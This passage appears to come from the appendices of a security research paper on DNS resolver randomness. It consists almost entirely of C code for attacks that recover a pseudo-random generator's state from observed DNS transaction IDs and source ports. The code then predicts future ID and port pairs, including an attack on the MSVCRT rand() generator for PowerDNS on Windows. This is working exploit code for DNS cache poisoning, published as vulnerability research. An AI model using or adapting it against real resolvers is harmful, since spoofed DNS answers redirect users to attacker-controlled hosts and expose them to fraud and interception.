                for (i=current_line-1;i>=0;i--)
                {
                        X[known[i]]=b[i];
                        for (k=0;k<31;k++)
                        {
                                if (k==known[i])
                                {
                                        continue;
                                }
                                X[known[i]]^=((a[i]>>k) & 1) & X[k];
                        }
                }

                for (i=31;i<2*size;i++)
                {
                        X[i]=X[i-31]^X[i-31+28];
                }

                /* now X is fully known - verify it against all carry values */
                good=1;
                for (i=0;i<2*size-31;i++)
                {
                        carry=Llsb[i+31]^(Llsb[i]^Llsb[i+28]);
                        if (carry!=(X[i] & X[i+28]))
                        {
                                good=0;
                                break;
                        }
                }
                if (good)
                {
                        /* for this X, proceed to next phases */
                        next_phases(trxid,P,size,X);
                }
        }

        return;
}

void next_phases(int trxid[],int P[],int size,int X[])
{
        int H[2*MAX_SIZE],L[2*MAX_SIZE];
        int R[2*MAX_SIZE+FORWARD_PREDICTION];
        int i,j;
        int nontriv_count,nontriv[32];
        int tmp1,tmp2,R_out,R_out1,R_out2;
        int s,enum_bit,nontriv_pos;
        int good;
        int net_trxid;

        /* prepare L for even positions in 0..61 */
        for (i=0;i<31;i++)
        {
                L[2*i]=trxid[i];
        }

        /* phase II - calculate L for odd positions in 31..61 */
        for (i=0;i<31;i+=2)
        {
                L[i+31]=((((L[i]<<1)|X[i])+((L[i+28]<<1)|X[i+28]))>>1) & 0xFFFF;
        }

        /* phase III - calculate L for odd positions in 0..30 */
        for (j=29;j>=1;j-=2)
        {
                L[j]=((((L[j+31]<<1)|X[j+31])-((L[j+28]<<1)|X[j+28]))>>1) & 0xFFFF;
        }

        /* Now we have L for all positions 0..61 */

        /* phase IV - calculate V for all odd positions in 0..61 */

        /* first, count the number of non-trivial cases */
        nontriv_count=0;
        for (i=1;i<62;i+=2)
        {
                tmp1=(P[(i-1)/2]-L[i]);
                if (tmp1 & 1)
                {
                        printf("ERROR: tmp1 is not even - impossible.\n");
                        exit(0);
                }

                /* 31752*32768 = 1 mod 32255 */
                tmp2=(31752*(32255+(tmp1>>1)))%32255;
                if (tmp2<(32768-32255))
                {
                        nontriv[nontriv_count]=i;
                        nontriv_count++;
                }
        }
        nontriv[nontriv_count]=-1;
```

```
/* Still in phase IV - enumerate over possible solutions */
for (s=0;s<(1<<nontriv_count);s++)
{
        /* phase IV - calculate H */
        nontriv_pos=0;
        for (i=1;i<62;i+=2)
        {
                tmp1=(P[(i-1)/2]-L[i]);
                tmp2=(31752*(32255+(tmp1>>1)))%32255;
                if (nontriv[nontriv_pos]==i)
                {
                        enum_bit=(s>>nontriv_pos) & 1;
                        H[i]=(enum_bit==0) ? tmp2 : (tmp2+32255);
                        nontriv_pos++;
                }
                else
                {
                        H[i]=tmp2;
                }
        }

        for (i=1;i<62;i+=2)
        {
                R[i]=(H[i]<<17)|(L[i]<<1)|X[i];
        }

        /* Now we have R for all odd positions in 0..61 */

        /* phase V - reconstruct R for all even positions in 31..61 */

        for (i=1;i<31;i+=2)
        {
                R[i+31]=(R[i]+R[i+28]);
        }

        /* phase VI - reconstruct R for all even positions in 0..30 */
        for (j=30;j>=0;j-=2)
        {
                R[j]=R[j+31]-R[j+28];
        }

        /* phase VII - verify with all we've got */
        for (i=31;i<2*size+FORWARD_PREDICTION;i++)
        {
                R[i]=R[i-31]+R[i-31+28];
        }

        good=1;
        for (i=0;i<size;i++)
        {
                R_out=(R[2*i]>>1) & 0x7FFFFFFF;
                if ((R_out & 0xFFFF)!=trxid[i])
                {
                        /* No good - skip this solution */
                        good=0;
                        break;
                }
                R_out=(R[2*i+1]>>1) & 0x7FFFFFFF;
                if ((R_out%64510)!=P[i])
                {
                        /* No good - skip this solution */
                        good=0;
                        break;
                }
        }
        if (good)
        {
                for (i=2*size;i<2*size+FORWARD_PREDICTION-1;i++)
                {
                        R_out1=(R[i]>>1) & 0x7FFFFFFF;
                        R_out2=(R[i+1]>>1) & 0x7FFFFFFF;
                        net_trxid=R_out1 & 0xFFFF;
                        if (host_is_little_endian)
```

```
                                {
                                        net_trxid=swap(net_trxid);
                                }
                                report(i-2*size,net_trxid,(R_out2%64510)+1025);
                        }
                }
        }

        return;
}
```

Appendix E – attack() for MSVCRT

For a data set containing 1-2 queries, it typically executes in less than 1 millisecond on an IBM ThinkPad T60 laptop with Intel Centrino CoreDuo T2400 CPU @1.83GHz and Windows XP SP2 operating system – certainly a moderately powered machine.

Note that this algorithm was tested against a simulation using the MSVCRT rand() – it was not tested against a live PowerDNS server running on Windows.

```
void attack(int trxid[],int P[],int size)
{
        int R[2*MAX_SIZE+FORWARD_PREDICTION];
        int i,s,state,net_trxid;

        for (i=0;i<size;i++)
        {
                if (trxid[i]>=32768)
                {
                        printf("ERROR: TRXID>=32768\n");
                        exit(0);
                }
                R[2*i]=trxid[i];
                if (P[i]>=32768)
                {
                        printf("ERROR: adjusted port >=32768\n");
                        exit(0);
                }
                R[2*i+1]=P[i];
        }

        for (s=0;s<(1<<16);s++)
        {
                state=(R[0]<<16)|s;
                for (i=1;i<2*size;i++)
                {
                        state = 214013*state+2531011;
                        if (((state >> 16) & 0x7FFF)!=R[i])
                        {
                                break;
                        }
                }
                if (i!=2*size)
                {
                        continue;
                }

                for (i=2*size;i<2*size+FORWARD_PREDICTION;i++)
                {
                        state = 214013*state+2531011;
                        R[i]=(state >> 16) & 0x7FFF;
                }

                for (i=2*size;i<2*size+FORWARD_PREDICTION-1;i++)
                {
                        net_trxid=R[i];
                        if (host_is_little_endian)
                        {
                                net_trxid=swap(net_trxid);
                        }
                        report(i-2*size,net_trxid,(R[i+1]%64510)+1025);
                }
        }

        return;
}
```